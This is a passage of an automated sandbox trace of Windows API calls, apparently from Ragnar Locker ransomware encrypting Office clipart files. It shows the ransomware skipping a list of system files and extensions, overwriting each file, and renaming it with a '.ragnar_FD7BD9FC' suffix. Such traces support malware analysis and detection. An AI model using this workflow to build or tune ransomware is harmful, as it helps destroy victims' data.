lpOverlapped=0x0) returned 1 [0093.230] VirtualAlloc (lpAddress=0x0, dwSize=0x12d1, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.230] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.231] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.231] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x12d1, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x12d1, lpOverlapped=0x0) returned 1 [0093.231] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.231] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x12d1, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.231] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x12d1, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x12d1, lpOverlapped=0x0) returned 1 [0093.232] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x12d1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.232] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.232] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x12d1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.232] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.232] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.232] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.232] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.232] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.232] GetProcessHeap () returned 0x580000 [0093.232] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.232] CloseHandle (hObject=0xf4) returned 1 [0093.232] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF" [0093.232] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF.ragnar_FD7BD9FC" [0093.232] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01843_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01843_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.233] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb347100, ftCreationTime.dwHighDateTime=0x1bd4e4a, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb347100, ftLastWriteTime.dwHighDateTime=0x1bd4e4a, nFileSizeHigh=0x0, nFileSizeLow=0x102b, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02229_.GIF", cAlternateFileName="")) returned 1 [0093.233] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0093.233] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WB02229_.GIF" | out: lpString1="WB02229_.GIF") returned="WB02229_.GIF" [0093.233] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB02229_.GIF") returned=".GIF" [0093.233] lstrcmpiW (lpString1="WB02229_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.233] lstrcmpiW (lpString1="WB02229_.GIF", lpString2="autorun.inf") returned 1 [0093.233] lstrcmpiW (lpString1="WB02229_.GIF", lpString2="boot.ini") returned 1 [0093.233] lstrcmpiW (lpString1="WB02229_.GIF", lpString2="bootfont.bin") returned 1 [0093.233] lstrcmpiW (lpString1="WB02229_.GIF", lpString2="bootsect.bak") returned 1 [0093.233] lstrcmpiW (lpString1="WB02229_.GIF", lpString2="bootmgr") returned 1 [0093.234] lstrcmpiW (lpString1="WB02229_.GIF", lpString2="bootmgr.efi") returned 1 [0093.234] lstrcmpiW (lpString1="WB02229_.GIF", lpString2="bootmgfw.efi") returned 1 [0093.234] lstrcmpiW (lpString1="WB02229_.GIF", lpString2="desktop.ini") returned 1 [0093.234] lstrcmpiW (lpString1="WB02229_.GIF", lpString2="iconcache.db") returned 1 [0093.234] lstrcmpiW (lpString1="WB02229_.GIF", lpString2="ntldr") returned 1 [0093.234] lstrcmpiW (lpString1="WB02229_.GIF", lpString2="ntuser.dat") returned 1 [0093.234] lstrcmpiW (lpString1="WB02229_.GIF", lpString2="ntuser.dat.log") returned 1 [0093.234] lstrcmpiW (lpString1="WB02229_.GIF", lpString2="ntuser.ini") returned 1 [0093.234] lstrcmpiW (lpString1="WB02229_.GIF", lpString2="thumbs.db") returned 1 [0093.234] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.234] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.234] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.234] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.234] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.234] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.234] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.234] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB02229_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb02229_.gif")) returned 0x20 [0093.235] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB02229_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb02229_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0093.235] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4139) returned 1 [0093.235] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1022, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.235] GetProcessHeap () returned 0x580000 [0093.235] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.235] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.237] VirtualAlloc (lpAddress=0x0, dwSize=0x102b, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.237] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.237] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.237] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x102b, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x102b, lpOverlapped=0x0) returned 1 [0093.237] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.238] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x102b, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.238] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x102b, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x102b, lpOverlapped=0x0) returned 1 [0093.238] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x102b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.238] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.238] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x102b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.238] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.238] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.238] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.238] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.238] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.238] GetProcessHeap () returned 0x580000 [0093.238] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.238] CloseHandle (hObject=0xf4) returned 1 [0093.238] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB02229_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB02229_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB02229_.GIF" [0093.238] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB02229_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB02229_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB02229_.GIF.ragnar_FD7BD9FC" [0093.239] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB02229_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb02229_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB02229_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb02229_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.239] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xa16, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHIRL1.WMF", cAlternateFileName="")) returned 1 [0093.239] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0093.239] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WHIRL1.WMF" | out: lpString1="WHIRL1.WMF") returned="WHIRL1.WMF" [0093.239] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL1.WMF") returned=".WMF" [0093.239] lstrcmpiW (lpString1="WHIRL1.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.239] lstrcmpiW (lpString1="WHIRL1.WMF", lpString2="autorun.inf") returned 1 [0093.239] lstrcmpiW (lpString1="WHIRL1.WMF", lpString2="boot.ini") returned 1 [0093.239] lstrcmpiW (lpString1="WHIRL1.WMF", lpString2="bootfont.bin") returned 1 [0093.239] lstrcmpiW (lpString1="WHIRL1.WMF", lpString2="bootsect.bak") returned 1 [0093.239] lstrcmpiW (lpString1="WHIRL1.WMF", lpString2="bootmgr") returned 1 [0093.240] lstrcmpiW (lpString1="WHIRL1.WMF", lpString2="bootmgr.efi") returned 1 [0093.240] lstrcmpiW (lpString1="WHIRL1.WMF", lpString2="bootmgfw.efi") returned 1 [0093.240] lstrcmpiW (lpString1="WHIRL1.WMF", lpString2="desktop.ini") returned 1 [0093.240] lstrcmpiW (lpString1="WHIRL1.WMF", lpString2="iconcache.db") returned 1 [0093.240] lstrcmpiW (lpString1="WHIRL1.WMF", lpString2="ntldr") returned 1 [0093.240] lstrcmpiW (lpString1="WHIRL1.WMF", lpString2="ntuser.dat") returned 1 [0093.240] lstrcmpiW (lpString1="WHIRL1.WMF", lpString2="ntuser.dat.log") returned 1 [0093.240] lstrcmpiW (lpString1="WHIRL1.WMF", lpString2="ntuser.ini") returned 1 [0093.240] lstrcmpiW (lpString1="WHIRL1.WMF", lpString2="thumbs.db") returned 1 [0093.240] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0093.240] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0093.240] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0093.240] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0093.240] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0093.240] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0093.240] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0093.240] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl1.wmf")) returned 0x20 [0093.241] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl1.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0093.241] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2582) returned 1 [0093.241] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa0d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.241] GetProcessHeap () returned 0x580000 [0093.241] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.241] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.243] VirtualAlloc (lpAddress=0x0, dwSize=0xa16, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.243] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.243] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.243] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa16, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa16, lpOverlapped=0x0) returned 1 [0093.243] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.243] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa16, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.243] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa16, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa16, lpOverlapped=0x0) returned 1 [0093.243] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa16, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.243] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.244] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa16, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.244] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.244] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.244] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.244] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.244] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.244] GetProcessHeap () returned 0x580000 [0093.244] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.244] CloseHandle (hObject=0xf4) returned 1 [0093.244] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL1.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL1.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL1.WMF" [0093.244] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL1.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL1.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL1.WMF.ragnar_FD7BD9FC" [0093.244] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl1.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL1.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl1.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.245] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHIRL2.WMF", cAlternateFileName="")) returned 1 [0093.245] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0093.245] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WHIRL2.WMF" | out: lpString1="WHIRL2.WMF") returned="WHIRL2.WMF" [0093.245] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL2.WMF") returned=".WMF" [0093.245] lstrcmpiW (lpString1="WHIRL2.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.245] lstrcmpiW (lpString1="WHIRL2.WMF", lpString2="autorun.inf") returned 1 [0093.245] lstrcmpiW (lpString1="WHIRL2.WMF", lpString2="boot.ini") returned 1 [0093.245] lstrcmpiW (lpString1="WHIRL2.WMF", lpString2="bootfont.bin") returned 1 [0093.245] lstrcmpiW (lpString1="WHIRL2.WMF", lpString2="bootsect.bak") returned 1 [0093.245] lstrcmpiW (lpString1="WHIRL2.WMF", lpString2="bootmgr") returned 1 [0093.245] lstrcmpiW (lpString1="WHIRL2.WMF", lpString2="bootmgr.efi") returned 1 [0093.245] lstrcmpiW (lpString1="WHIRL2.WMF", lpString2="bootmgfw.efi") returned 1 [0093.245] lstrcmpiW (lpString1="WHIRL2.WMF", lpString2="desktop.ini") returned 1 [0093.245] lstrcmpiW (lpString1="WHIRL2.WMF", lpString2="iconcache.db") returned 1 [0093.245] lstrcmpiW (lpString1="WHIRL2.WMF", lpString2="ntldr") returned 1 [0093.245] lstrcmpiW (lpString1="WHIRL2.WMF", lpString2="ntuser.dat") returned 1 [0093.245] lstrcmpiW (lpString1="WHIRL2.WMF", lpString2="ntuser.dat.log") returned 1 [0093.245] lstrcmpiW (lpString1="WHIRL2.WMF", lpString2="ntuser.ini") returned 1 [0093.246] lstrcmpiW (lpString1="WHIRL2.WMF", lpString2="thumbs.db") returned 1 [0093.246] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0093.246] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0093.246] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0093.246] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0093.246] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0093.246] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0093.246] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0093.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl2.wmf")) returned 0x20 [0093.246] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl2.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0093.246] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2966) returned 1 [0093.246] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb8d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.246] GetProcessHeap () returned 0x580000 [0093.246] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.246] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.248] VirtualAlloc (lpAddress=0x0, dwSize=0xb96, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.248] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.248] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.248] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb96, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xb96, lpOverlapped=0x0) returned 1 [0093.248] SetFilePointerEx (in: hFile=0xf4, 